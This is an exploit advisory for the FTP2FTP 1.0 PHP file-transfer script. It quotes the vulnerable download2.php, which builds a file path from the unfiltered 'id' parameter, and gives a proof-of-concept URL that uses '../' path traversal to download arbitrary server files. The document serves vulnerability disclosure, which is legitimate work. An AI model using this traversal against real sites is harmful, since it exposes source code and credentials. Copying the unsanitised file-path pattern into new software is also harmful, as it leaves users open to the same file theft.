FTP2FTP 1.0 Arbitrary File Download

`# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download  
# Dork: N/A  
# Date: 18.07.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395  
# Version: 1.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : The "download2.php" is vulnerable in the admin panel.  
The attacker can download and read all files known by the name via 'id' parameter.  
  
====================================================  
  
  
# Vuln file : /FTP2FTP/download2.php  
  
1. <?php  
2. $file = "tempFiles2/".$_GET['id'];  
3.  
4.  
5. if (file_exists($file)) {  
6. header('Content-Description: File Transfer');  
7. header('Content-Type: application/octet-stream');  
8. header('Content-Disposition: attachment; filename="'.basename($file).'"');  
9. header('Expires: 0');  
10. header('Cache-Control: must-revalidate');  
11. header('Pragma: public');  
12. header('Content-Length: ' . filesize($file));  
13. readfile($file);  
14. exit;  
15. }  
16. ?>  
  
# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php  
  
`